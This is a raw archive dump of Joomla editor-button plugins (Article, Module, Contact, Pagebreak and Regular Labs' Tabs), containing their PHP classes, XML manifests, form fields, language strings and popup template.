		<language tag="en-GB">en-GB.plg_editors-xtd_article.sys.ini</language>
	</languages>
</extension>
PK�(]�"EOOeditors-xtd/article/article.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.article
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Article button
 *
 * @since  1.5
 */
class PlgButtonArticle extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		$input = JFactory::getApplication()->input;
		$user  = JFactory::getUser();

		// Can create in any category (component permission) or at least in one category
		$canCreateRecords = $user->authorise('core.create', 'com_content')
			|| count($user->getAuthorisedCategories('com_content', 'core.create')) > 0;

		// Instead of checking edit on all records, we can use **same** check as the form editing view
		$values = (array) JFactory::getApplication()->getUserState('com_content.edit.article.id');
		$isEditingRecords = count($values);

		// This ACL check is probably a double-check (form view already performed checks)
		$hasAccess = $canCreateRecords || $isEditingRecords;
		if (!$hasAccess)
		{
			return;
		}

		$link = 'index.php?option=com_content&amp;view=articles&amp;layout=modal&amp;tmpl=component&amp;'
			. JSession::getFormToken() . '=1&amp;editor=' . $name;

		$button = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_ARTICLE_BUTTON_ARTICLE');
		$button->name    = 'file-add';
		$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

		return $button;
	}
}
PK�(]�C���editors-xtd/module/module.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.module
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Module button
 *
 * @since  3.5
 */
class PlgButtonModule extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.5
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   3.5
	 */
	public function onDisplay($name)
	{
		/*
		 * Use the built-in element view to select the module.
		 * Currently uses blank class.
		 */
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_modules')
			|| $user->authorise('core.edit', 'com_modules')
			|| $user->authorise('core.edit.own', 'com_modules'))
		{
			$link = 'index.php?option=com_modules&amp;view=modules&amp;layout=modal&amp;tmpl=component&amp;editor='
					. $name . '&amp;' . JSession::getFormToken() . '=1';

			$button          = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_MODULE_BUTTON_MODULE');
			$button->name    = 'file-add';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}
	}
}
PK�(]����editors-xtd/module/module.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_module</name>
	<author>Joomla! Project</author>
	<creationDate>October 2015</creationDate>
	<copyright>(C) 2015 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.5.0</version>
	<description>PLG_MODULE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="module">module.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_module.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_module.sys.ini</language>
	</languages>
</extension>
PK�(]�RL$$editors-xtd/contact/contact.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.7" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_contact</name>
	<author>Joomla! Project</author>
	<creationDate>October 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.7.0</version>
	<description>PLG_EDITORS-XTD_CONTACT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="contact">contact.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_contact.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_contact.sys.ini</language>
	</languages>
</extension>
PK�(]K����editors-xtd/contact/contact.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.contact
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Contact button
 *
 * @since  3.7.0
 */
class PlgButtonContact extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.7.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   3.7.0
	 */
	public function onDisplay($name)
	{
		$user  = JFactory::getUser();

		if ($user->authorise('core.create', 'com_contact')
			|| $user->authorise('core.edit', 'com_contact')
			|| $user->authorise('core.edit.own', 'com_contact'))
		{
			// The URL for the contacts list
			$link = 'index.php?option=com_contact&amp;view=contacts&amp;layout=modal&amp;tmpl=component&amp;'
				. JSession::getFormToken() . '=1&amp;editor=' . $name;

			$button          = new JObject;
			$button->modal   = true;
			$button->class   = 'btn';
			$button->link    = $link;
			$button->text    = JText::_('PLG_EDITORS-XTD_CONTACT_BUTTON_CONTACT');
			$button->name    = 'address';
			$button->options = "{handler: 'iframe', size: {x: 800, y: 500}}";

			return $button;
		}
	}
}
PK�(]<^�I..#editors-xtd/pagebreak/pagebreak.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="editors-xtd" method="upgrade">
	<name>plg_editors-xtd_pagebreak</name>
	<author>Joomla! Project</author>
	<creationDate>August 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION</description>
	<files>
		<filename plugin="pagebreak">pagebreak.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.plg_editors-xtd_pagebreak.ini</language>
		<language tag="en-GB">en-GB.plg_editors-xtd_pagebreak.sys.ini</language>
	</languages>
</extension>
PK�(]Rk����#editors-xtd/pagebreak/pagebreak.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Editors-xtd.pagebreak
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Editor Pagebreak button
 *
 * @since  1.5
 */
class PlgButtonPagebreak extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Display the button
	 *
	 * @param   string  $name  The name of the button to add
	 *
	 * @return  JObject  The button options as JObject
	 *
	 * @since   1.5
	 */
	public function onDisplay($name)
	{
		$input = JFactory::getApplication()->input;
		$user  = JFactory::getUser();

		// Can create in any category (component permission) or at least in one category
		$canCreateRecords = $user->authorise('core.create', 'com_content')
			|| count($user->getAuthorisedCategories('com_content', 'core.create')) > 0;

		// Instead of checking edit on all records, we can use **same** check as the form editing view
		$values = (array) JFactory::getApplication()->getUserState('com_content.edit.article.id');
		$isEditingRecords = count($values);

		// This ACL check is probably a double-check (form view already performed checks)
		$hasAccess = $canCreateRecords || $isEditingRecords;
		if (!$hasAccess)
		{
			return;
		}

		JFactory::getDocument()->addScriptOptions('xtd-pagebreak', array('editor' => $name));
		$link = 'index.php?option=com_content&amp;view=article&amp;layout=pagebreak&amp;tmpl=component&amp;e_name=' . $name;

		$button          = new JObject;
		$button->modal   = true;
		$button->class   = 'btn';
		$button->link    = $link;
		$button->text    = JText::_('PLG_EDITORSXTD_PAGEBREAK_BUTTON_PAGEBREAK');
		$button->name    = 'copy';
		$button->options = "{handler: 'iframe', size: {x: 500, y: 300}}";

		return $button;
	}
}
PK�(]�-�QHHeditors-xtd/tabs/helper.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Object\CMSObject as JObject;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\EditorButtonHelper as RL_EditorButtonHelper;
use RegularLabs\Library\RegEx as RL_RegEx;

/**
 ** Plugin that places the button
 */
class PlgButtonTabsHelper extends RL_EditorButtonHelper
{
    /**
     * Display the button
     *
     * @param string $editor_name
     *
     * @return JObject|null A button object
     */
    public function render($editor_name)
    {
        RL_Document::loadEditorButtonDependencies();

        if ($this->params->button_use_simple_button)
        {
            return $this->renderSimpleButton($editor_name);
        }

        return $this->renderPopupButton($editor_name);
    }

    private function getCustomText()
    {
        $text = trim($this->params->button_custom_code);
        $text = str_replace(["\r", "\n"], ['', '</p>\n<p>'], trim($text)) . '</p>';
        $text = RL_RegEx::replace('^(.*?)</p>', '\1', $text);
        $text = str_replace(
            ['{tab ', '{/tabs}'],
            ['{' . $this->params->tag_open . $this->params->tag_delimiter, '{/' . $this->params->tag_close . '}'],
            trim($text)
        );

        return $text;
    }

    private function getDefaultText()
    {
        return
            '{' . $this->params->tag_open . $this->params->tag_delimiter . JText::_('TAB_TITLE') . ' 1}\n' .
            '<p>[:SELECTION:]</p>\n' .
            '<p>{' . $this->params->tag_open . $this->params->tag_delimiter . JText::_('TAB_TITLE') . ' 2}</p>\n' .
            '<p>' . JText::_('TAB_TEXT') . '</p>\n' .
            '<p>{/' . $this->params->tag_close . '}</p>';
    }

    private function getExampleText()
    {
        switch (true)
        {
            case ($this->params->button_use_custom_code && $this->params->button_custom_code):
                return $this->getCustomText();
            default:
                return $this->getDefaultText();
        }
    }

    private function renderSimpleButton($editor_name)
    {
        $this->params->tag_open      = RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_open);
        $this->params->tag_close     = RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_close);
        $this->params->tag_delimiter = ($this->params->tag_delimiter == '=') ? '=' : ' ';

        $text = $this->getExampleText();
        $text = str_replace('\\\\n', '\\n', addslashes($text));
        $text = str_replace('{', '{\'+\'', $text);

        $js = "
            function insertTabs(editor) {
                selection = RegularLabsScripts.getEditorSelection(editor);
                selection = selection ? selection : '" . JText::_('TAB_TEXT', true) . "';

                text = '" . $text . "';
                text = text.replace('[:SELECTION:]', selection);

                jInsertEditorText(text, editor);
            }
        ";
        RL_Document::scriptDeclaration($js);

        $button = new JObject;

        $button->modal   = false;
        $button->class   = 'btn';
        $button->link    = '#';
        $button->onclick = 'insertTabs(\'' . $editor_name . '\');return false;';
        $button->text    = $this->getButtonText();
        $button->name    = $this->getIcon();

        return $button;
    }
}
PK�(]�-,��editors-xtd/tabs/fields.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<config addfieldpath="/libraries/regularlabs/fields">
  <fieldset name="tab_notice">
    <field name="@note__title_empty" type="note" class="alert alert-warning" description="TAB_TITLE_EMPTY" showon="title:"/>
  </fieldset>
  <fieldset name="tab_params">
    <field name="open" type="radio" class="btn-group" default="0" label="TAB_DEFAULT" description="TAB_DEFAULT_DESC">
      <option value="1">JYES</option>
    </field>
    <field name="alias" type="text" label="JFIELD_ALIAS_LABEL" description="TAB_ALIAS_DESC"/>
    <field name="class" type="text" label="RL_CSS_CLASS" description="RL_CSS_CLASS_DESC"/>
    <field name="@note__scroll" type="rl_onlypro" label="TAB_SCROLL" description="TAB_SCROLL_DESC"/>
    <field name="@note__access" type="rl_onlypro" label="JFIELD_ACCESS_LABEL" description="JFIELD_ACCESS_DESC"/>
    <field name="@note__usergroup" type="rl_onlypro" label="RL_USER_GROUPS" description="RL_USER_GROUPS_DESC"/>
    <field name="@note__extra" type="rl_onlypro" label="RL_EXTRA_PARAMETERS" description="RL_EXTRA_PARAMETERS_DESC"/>
  </fieldset>
  <fieldset name="params">
    <field name="mainclass" type="text" default="" label="TAB_MAIN_CLASS" description="TAB_MAIN_CLASS_DESC"/>
    <field name="color_inactive_handles" type="radio" class="btn-group" default="" label="TAB_COLOR_INACTIVE_HANDLES" description="TAB_COLOR_INACTIVE_HANDLES_DESC">
      <option value="">JDEFAULT</option>
      <option value="0">JNO</option>
      <option value="1">JYES</option>
    </field>
    <field name="outline_handles" type="radio" class="btn-group" default="" label="TAB_OUTLINE_HANDLES" description="TAB_OUTLINE_HANDLES_DESC">
      <option value="">JDEFAULT</option>
      <option value="0">JNO</option>
      <option value="1">JYES</option>
    </field>
    <field name="outline_content" type="radio" class="btn-group" default="" label="TAB_OUTLINE_CONTENT" description="TAB_OUTLINE_CONTENT_DESC">
      <option value="">JDEFAULT</option>
      <option value="0">JNO</option>
      <option value="1">JYES</option>
    </field>
    <field name="alignment" type="radio" class="btn-group" default="" label="TAB_ALIGNMENT_HANDLES" description="TAB_ALIGNMENT_HANDLES_DESC">
      <option value="">JDEFAULT</option>
      <option value="left">&lt;span class="icon-reglab-paragraph-left"&gt;&lt;/span&gt;</option>
      <option value="right">&lt;span class="icon-reglab-paragraph-right"&gt;&lt;/span&gt;</option>
      <option value="center">&lt;span class="icon-reglab-paragraph-center"&gt;&lt;/span&gt;</option>
      <option value="justify">&lt;span class="icon-reglab-paragraph-justify"&gt;&lt;/span&gt;</option>
    </field>
    <field name="@note__positioning" type="rl_onlypro" label="TAB_POSITIONING_HANDLES" description="TAB_POSITIONING_HANDLES_DESC"/>
    <field name="@note__slideshow" type="rl_onlypro" label="TAB_SLIDESHOW" description="SLIDESHOW_DESC"/>
    <field name="nested" type="radio" class="btn-group" default="0" label="TAB_NESTED_SET" description="TAB_NESTED_SET_DESC">
      <option value="">JNO</option>
      <option value="1">JYES</option>
    </field>
    <field name="nested_id" type="text" class="btn-group" default="nested" label="TAB_NESTED_ID" description="TAB_NESTED_ID_DESC" showon="nested:1"/>
  </fieldset>
</config>
PK�(]��H1��#editors-xtd/tabs/script.install.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

require_once __DIR__ . '/script.install.helper.php';

class PlgEditorsXtdTabsInstallerScript extends PlgEditorsXtdTabsInstallerScriptHelper
{
	public $name           = 'TABS';
	public $alias          = 'tabs';
	public $extension_type = 'plugin';
	public $plugin_folder  = 'editors-xtd';

	public function uninstall($adapter)
	{
		$this->uninstallPlugin($this->extname, 'system');
	}
}
PK�(]z�9>editors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Button - Regular Labs - Tabs"
PLG_EDITORS-XTD_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"

TABS_DESC="With Tabs you can make content tabs anywhere in Joomla!"

TAB_SETTINGS="Please see the [[%1:start link%]]Tabs system plugin[[%2:end link%]] for settings."
TAB_TEXT="Your text..."
TAB_THE_SYSTEM_PLUGIN="the Tabs system plugin"
TAB_TITLE="Tab Title"
PK�(]�RS

Beditors-xtd/tabs/language/en-GB/en-GB.plg_editors-xtd_tabs.sys.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Button - Regular Labs - Tabs"
PLG_EDITORS-XTD_TABS_DESC="Tabs - make content tabs in Joomla!"
TABS="Tabs"
PK�(]�ױ|��Beditors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.sys.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Bouton - Panneaux à onglets Regular Labs"
PLG_EDITORS-XTD_TABS_DESC="Le plug-in Bouton Panneaux à onglets Regular Labs permet d'afficher un bouton sous l'éditeur pour créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla!"
TABS="Panneaux à onglets"
PK�(]R�	�jj>editors-xtd/tabs/language/fr-FR/fr-FR.plg_editors-xtd_tabs.ininu�[���;; @package         Tabs
;; @version         8.3.1
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://regularlabs.com
;; @copyright       Copyright © 2023 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See: https://regularlabs.com/translate

PLG_EDITORS-XTD_TABS="Bouton - Panneaux à onglets Regular Labs"
PLG_EDITORS-XTD_TABS_DESC="Le plug-in Bouton Panneaux à onglets Regular Labs permet d'afficher un bouton sous l'éditeur pour créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla!"
TABS="Panneaux à onglets"

TABS_DESC="Le système Tabs de Regular Labs vous permet de créer/insérer des panneaux à onglets (<i>tabs</i>) dans tous les contenus Joomla tels les descriptions de catégorie, les articles, les modules personnalisés, et tout autre composant ayant une zone d'éditeur.<br>Pour en savoir plus, consultez le site officiel de l'extension par le lien ci-dessous."

TAB_SETTINGS="Vous pouvez également consulter le plug-in [[%1:start link%]]Panneaux à onglets Regular Labs[[%2:end link%]] qui permet de configurer les éléments insérés par le bouton."
TAB_TEXT="Votre texte..."
TAB_THE_SYSTEM_PLUGIN="Plug-in système Panneaux à onglets Regular Labs"
TAB_TITLE="Titre de l'onglet"
PK�(]/B~�editors-xtd/tabs/popup.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

namespace RegularLabs\Plugin\EditorButton\Tabs\Popup;

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\EditorButtonPopup as RL_EditorButtonPopup;
use RegularLabs\Library\RegEx as RL_RegEx;

class Popup extends RL_EditorButtonPopup
{
    var $require_core_auth = false;

    public function loadScripts()
    {
        // Tag character start and end
        [$tag_start, $tag_end] = explode('.', $this->params->tag_characters);

        $editor = JFactory::getApplication()->input->getString('name', 'text');
        // Remove any dangerous character to prevent cross site scripting
        $editor = RL_RegEx::replace('[\'\";\s]', '', $editor);

        $script = "
            var tabs_tag_open = '" . RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_open) . "';
            var tabs_tag_close = '" . RL_RegEx::replace('[^a-z0-9-_]', '', $this->params->tag_close) . "';
            var tabs_tag_delimiter = '" . (($this->params->tag_delimiter == '=') ? '=' : ' ') . "';
            var tabs_tag_characters = ['" . $tag_start . "', '" . $tag_end . "'];
            var tabs_editorname = '" . $editor . "';
            var tabs_content_placeholder = '" . JText::_('TAB_TEXT', true) . "';
            var tabs_error_empty_title = '" . JText::_('TAB_ERROR_EMPTY_TITLE', true) . "';
            var tabs_max_count = " . (int) $this->params->button_max_count . ";
        ";
        RL_Document::scriptDeclaration($script);

        RL_Document::script('tabs/popup.min.js', '8.3.1');
    }

    public function loadStyles()
    {
        RL_Document::style('tabs/popup.min.css', '8.3.1');
    }
}

(new Popup('tabs'))->render();
PK�(]d`��editors-xtd/tabs/tabs.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3" type="plugin" group="editors-xtd" method="upgrade">
  <name>PLG_EDITORS-XTD_TABS</name>
  <description>PLG_EDITORS-XTD_TABS_DESC</description>
  <version>8.3.1</version>
  <creationDate>February 2023</creationDate>
  <author>Regular Labs (Peter van Westen)</author>
  <authorEmail>info@regularlabs.com</authorEmail>
  <authorUrl>https://regularlabs.com</authorUrl>
  <copyright>Copyright © 2023 Regular Labs - All Rights Reserved</copyright>
  <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
  <files>
    <file plugin="tabs">tabs.php</file>
    <file>fields.xml</file>
    <file>helper.php</file>
    <file>popup.php</file>
    <file>popup.tmpl.php</file>
    <folder>language</folder>
  </files>
  <config>
    <fields name="params" addfieldpath="/libraries/regularlabs/fields">
      <fieldset name="basic">
        <field name="@load_language_regularlabs" type="rl_loadlanguage" extension="plg_system_regularlabs"/>
        <field name="@load_language" type="rl_loadlanguage" extension="plg_editors-xtd_tabs"/>
        <field name="@license" type="rl_license" extension="TABS"/>
        <field name="@version" type="rl_version" extension="TABS"/>
        <field name="@dependency" type="rl_dependency" label="TAB_THE_SYSTEM_PLUGIN" file="/plugins/system/tabs/tabs.xml"/>
        <field name="@header" type="rl_header" label="TABS" description="TABS_DESC" url="https://regularlabs.com/tabs"/>
        <field name="@note__settings" type="note" class="alert alert-info" description="TAB_SETTINGS,&lt;a href=&quot;index.php?option=com_plugins&amp;filter_folder=system&amp;filter_search=tabs&quot; target=&quot;_blank&quot;&gt;,&lt;/a&gt;"/>
      </fieldset>
    </fields>
  </config>
</extension>
PK�(]��{d��editors-xtd/tabs/tabs.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

use RegularLabs\Library\Document as RL_Document;
use RegularLabs\Library\EditorButtonPlugin as RL_EditorButtonPlugin;
use RegularLabs\Library\Extension as RL_Extension;

defined('_JEXEC') or die;

if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')
    || ! is_file(JPATH_LIBRARIES . '/regularlabs/src/EditorButtonPlugin.php')
)
{
    return;
}

require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';

if ( ! RL_Document::isJoomlaVersion(3))
{
    RL_Extension::disable('tabs', 'plugin', 'editors-xtd');

    return;
}

if (true)
{
    class PlgButtonTabs extends RL_EditorButtonPlugin
    {
        var $require_core_auth = false;
    }
}
PK�(]AҺ��editors-xtd/tabs/data.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         6.0.3
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://www.regularlabs.com
 * @copyright       Copyright © 2016 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

$items = tabsGetItemsDataBySelection();

echo json_encode($items);

die();

function tabsGetItemsDataBySelection()
{
	$string = JFactory::getApplication()->input->getString('selection');

	if (empty($string))
	{
		return array();
	}

	require_once JPATH_LIBRARIES . '/regularlabs/helpers/parameters.php';
	require_once JPATH_LIBRARIES . '/regularlabs/helpers/tags.php';
	require_once JPATH_PLUGINS . '/system/tabs/helpers/helpers.php';

	$params = RLParameters::getInstance()->getPluginParams('tabs');

	$params->comment_start = '<!-- START: Tabs -->';
	$params->comment_end   = '<!-- END: Tabs -->';

	$params->tag_open  = trim(preg_replace('#[^a-z0-9-_]#si', '', $params->tag_open));
	$params->tag_close = trim(preg_replace('#[^a-z0-9-_]#si', '', $params->tag_close));

	$params->tag_link = isset($params->tag_link) ? $params->tag_link : 'tablink';
	$params->tag_link = trim(preg_replace('#[^a-z0-9-_]#si', '', $params->tag_link));


	$helpers = PlgSystemTabsHelpers::getInstance($params);
	$helper  = $helpers->get('replace');

	$sets = $helper->getSets($string, true);

	if (empty($sets))
	{
		return array();
	}

	$items = array_shift($sets);

	$contents = preg_replace($helper->params->regex, '[:BREAK:]', $string);
	$contents = explode('[:BREAK:]', $contents);

	if (empty($contents))
	{
		return array();
	}

	array_shift($contents);

	foreach ($items as $i => &$item)
	{
		if (!empty($item->noscroll))
		{
			$item->scroll = false;
			unset($item->noscroll);
		}

		$item->content = isset($contents[$i]) ? $contents[$i] : '';

		$item = (array) $item;
	}

	return $items;
}
PK�(]�5Cb��editors-xtd/tabs/popup.tmpl.phpnu�[���<?php
/**
 * @package         Tabs
 * @version         8.3.1
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            http://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Form\Form as JForm;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;

$user = JFactory::getApplication()->getIdentity() ?: JFactory::getUser();

$xmlfile = __DIR__ . '/fields.xml';
?>
<div class="reglab-overlay"></div>

<div class="header">
    <h1 class="page-title">
        <span class="icon-reglab icon-tabs"></span>
        <?php echo JText::_('TABS'); ?>
    </h1>
</div>

<nav class="navbar">
    <div class="navbar-inner">
        <div class="container-fluid">
            <div class="btn-toolbar" id="toolbar">
                <div class="btn-wrapper" id="toolbar-apply">
                    <button onclick="if(RegularLabsTabsPopup.insertText()){window.parent.SqueezeBox.close();}" class="btn btn-small btn-success">
                        <span class="icon-apply icon-white"></span> <?php echo JText::_('RL_INSERT') ?>
                    </button>
                </div>
                <div class="btn-wrapper" id="toolbar-cancel">
                    <button onclick="if(confirm('<?php echo JText::_('RL_ARE_YOU_SURE'); ?>')){window.parent.SqueezeBox.close();}" class="btn btn-small">
                        <span class="icon-cancel "></span> <?php echo JText::_('JCANCEL') ?>
                    </button>
                </div>

                <?php if (JFactory::getApplication()->isClient('administrator') && $user->authorise('core.admin', 1)) : ?>
                    <div class="btn-wrapper" id="toolbar-options">
                        <button onclick="window.open('index.php?option=com_plugins&filter_folder=system&filter_search=<?php echo JText::_('TABS') ?>');" class="btn btn-small">
                            <span class="icon-options"></span> <?php echo JText::_('JOPTIONS') ?>
                        </button>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    </div>
</nav>

<div class="container-fluid container-main">
    <form action="index.php" id="tabsForm" method="post">

        <div class="row-fluid">

            <div class="span8">
                <?php echo JHtml::_('bootstrap.startTabSet', 'myTab', ['active' => 'tab_1']); ?>

                <?php for ($i = 1; $i <= $this->params->button_max_count; $i++) : ?>
                    <?php
                    $form = new JForm('tab', ['control' => 'tab_' . $i]);
                    $form->loadFile($xmlfile, 1, '//config');

                    $title = '<span class="tab_' . $i . '_open_icon icon-default hasTooltip"'
                        . ' title="' . JText::_('TAB_DEFAULT') . '" style="display:none;"></span> '
                        . JText::sprintf('TAB_TAB_NUMBER', $i);
                    ?>

                    <?php echo JHtml::_('bootstrap.addTab', 'myTab', 'tab_' . $i, $title); ?>

                    <h1><?php echo $title; ?></h1>

                    <div class="row-fluid">
                        <div class="span8">
                            <div class="form-inline form-inline-header">
                                <div class="control-group">
                                    <div class="control-label">
                                        <label for="tab_<?php echo $i; ?>_title"><?php echo JText::_('JGLOBAL_TITLE'); ?></label>
                                    </div>
                                    <div class="controls">
                                        <input type="text" name="tab_<?php echo $i; ?>[title]" id="tab_<?php echo $i; ?>_title" value=""
                                               class="input-xxlarge input-large-text" size="40">
                                    </div>
                                </div>
                            </div>

                            <div class="control-group">
                                <div class="controls">
                                    <em><?php echo JText::_('TAB_CONTENT_DESC'); ?></em>

                                    <div id="tab_<?php echo $i; ?>_content" style="display:none;" class="well well-small"></div>
                                </div>
                            </div>

                            <?php echo $form->renderFieldset('tab_notice'); ?>
                        </div>

                        <div class="span4">
                            <?php echo $form->renderFieldset('tab_params'); ?>
                        </div>
                    </div>

                    <?php echo JHtml::_('bootstrap.endTab'); ?>
                <?php endfor; ?>

                <?php echo JHtml::_('bootstrap.endTabSet'); ?>
            </div>

            <div class="span4">
                <h3><?php echo JText::_('TAB_SET_SETTINGS'); ?></h3>

                <?php
                $form = new JForm('tab', ['control' => 'tab_1']);
                $form->loadFile($xmlfile, 1, '//config');
                echo $form->renderFieldset('params');
                ?>
            </div>
        </div>
    </form>
</div>
